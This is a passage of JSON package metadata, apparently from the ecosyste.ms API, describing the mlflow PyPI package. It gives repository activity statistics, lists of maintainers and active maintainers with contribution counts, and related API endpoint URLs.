6,"past_year_avg_comments_per_issue":2.5691489361702127,"past_year_avg_comments_per_pull_request":3.004538577912254,"past_year_bot_issues_count":1,"past_year_bot_pull_requests_count":42,"past_year_merged_pull_requests_count":246,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/issues","maintainers":[{"login":"harupy","count":2850,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/harupy"},{"login":"B-Step62","count":1243,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/B-Step62"},{"login":"serena-ruan","count":790,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/serena-ruan"},{"login":"daniellok-db","count":580,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/daniellok-db"},{"login":"WeichenXu123","count":405,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/WeichenXu123"},{"login":"BenWilson2","count":386,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/BenWilson2"},{"login":"mlflow-automation","count":364,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mlflow-automation"},{"login":"TomeHirata","count":267,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/TomeHirata"},{"login":"dbczumar","count":193,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dbczumar"},{"login":"prithvikannan","count":179,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/prithvikannan"},{"login":"chenmoneygithub","count":152,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chenmoneygithub"},{"login":"sunishsheth2009","count":130,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/sunishsheth2009"},{"login":"annzhang-db","count":115,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/annzhang-db"},{"login":"ed-sa-ma","count":99,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ed-sa-ma"},{"login":"michael-berk","count":90,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/michael-berk"},{"login":"rohitarun-db","count":66,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/rohitarun-db"},{"login":"bbqiu","count":66,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/bbqiu"},{"login":"kriscon-db","count":53,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/kriscon-db"},{"login":"smurching","count":46,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/smurching"},{"login":"gabrielfu","count":46,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/gabrielfu"},{"login":"artjen","count":42,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/artjen"},{"login":"edwardfeng-db","count":42,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/edwardfeng-db"},{"login":"jessechancy","count":42,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jessechancy"},{"login":"smoorjani","count":40,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/smoorjani"},{"login":"xq-yin","count":35,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/xq-yin"},{"login":"frontsideair","count":33,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/frontsideair"},{"login":"joshuawong-db","count":33,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/joshuawong-db"},{"login":"liangz1","count":30,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/liangz1"},{"login":"jerrylian-db","count":30,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jerrylian-db"},{"login":"raymondzhou-db","count":28,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/raymondzhou-db"},{"login":"hubertzub-db","count":25,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hubertzub-db"},{"login":"shichengzhou-db","count":22,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/shichengzhou-db"},{"login":"adamgurary","count":20,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/adamgurary"},{"login":"aaronteo-db","count":18,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aaronteo-db"},{"login":"arpitjasa-db","count":17,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/arpitjasa-db"},{"login":"PattaraS","count":15,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/PattaraS"},{"login":"nojaf","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/nojaf"},{"login":"apurva-koti","count":12,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/apurva-koti"},{"login":"mberk06","count":12,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mberk06"},{"login":"alkispoly-db","count":11,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alkispoly-db"},{"login":"stevenchen-db","count":10,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stevenchen-db"},{"login":"nsthorat","count":9,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/nsthorat"},{"login":"dsmilkov","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dsmilkov"},{"login":"dbrx-euirim","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dbrx-euirim"},{"login":"joelrobin18","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/joelrobin18"},{"login":"ShaylanDias","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ShaylanDias"},{"login":"zhe-db","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/zhe-db"},{"login":"edwinhe-db","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/edwinhe-db"},{"login":"mprahl","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mprahl"},{"login":"rmalani-db","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/rmalani-db"},{"login":"lu-wang-dl","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/lu-wang-dl"},{"login":"tanghaoji","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tanghaoji"},{"login":"mparkhe","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mparkhe"},{"login":"jinzhang21","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jinzhang21"},{"login":"jamesbxwu","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jamesbxwu"},{"login":"kevin-lyn","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/kevin-lyn"},{"login":"ispoljari","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ispoljari"},{"login":"james-fletcher-db","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/james-fletcher-db"},{"login":"ian-ack-db","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ian-ack-db"},{"login":"ankit-db","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ankit-db"},{"login":"rrrkharse","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/rrrkharse"},{"login":"yunpark93","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/yunpark93"},{"login":"JHibbard","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/JHibbard"},{"login":"shaotong-db","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/shaotong-db"},{"login":"veronicalyu320","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/veronicalyu320"},{"login":"HumairAK","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/HumairAK"},{"login":"epec254","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/epec254"},{"login":"evykassirer","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/evykassirer"},{"login":"ryusuke410","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ryusuke410"},{"login":"kanej","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/kanej"},{"login":"KennyDizi","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/KennyDizi"},{"login":"leandrohstein","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/leandrohstein"},{"login":"AbeOmor","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/AbeOmor"},{"login":"mingyu89","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mingyu89"},{"login":"javierluraschi","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/javierluraschi"},{"login":"aravind-segu","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aravind-segu"}],"active_maintainers":[{"login":"harupy","count":95,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/harupy"},{"login":"joshuawong-db","count":33,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/joshuawong-db"},{"login":"B-Step62","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/B-Step62"},{"login":"adamgurary","count":20,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/adamgurary"},{"login":"kriscon-db","count":20,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/kriscon-db"},{"login":"aaronteo-db","count":18,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aaronteo-db"},{"login":"PattaraS","count":15,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/PattaraS"},{"login":"TomeHirata","count":9,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/TomeHirata"},{"login":"joelrobin18","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/joelrobin18"},{"login":"BenWilson2","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/BenWilson2"},{"login":"mprahl","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mprahl"},{"login":"smoorjani","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/smoorjani"},{"login":"xq-yin","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/xq-yin"},{"login":"serena-ruan","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/serena-ruan"},{"login":"daniellok-db","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/daniellok-db"},{"login":"tanghaoji","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tanghaoji"},{"login":"james-fletcher-db","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/james-fletcher-db"},{"login":"rrrkharse","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/rrrkharse"},{"login":"alkispoly-db","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alkispoly-db"},{"login":"dbrx-euirim","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dbrx-euirim"},{"login":"HumairAK","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/HumairAK"},{"login":"dbczumar","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dbczumar"},{"login":"aravind-segu","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aravind-segu"},{"login":"veronicalyu320","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/veronicalyu320"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/mlflow/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/mlflow/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/mlflow/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/mlflow/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/mlflow/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/mlflow/codemeta","maintainers":[{"uuid":"B-Step62","login":"B-Step62","name":null,"email":null,"url":null,"packages_count":4,"html_url":"https://pypi.org/user/B-Step62/","role":null,"created_at":"2023-12-25T07:06:54.206Z","updated_at":"2023-12-25T07:06:54.206Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/B-Step62/packages"}]}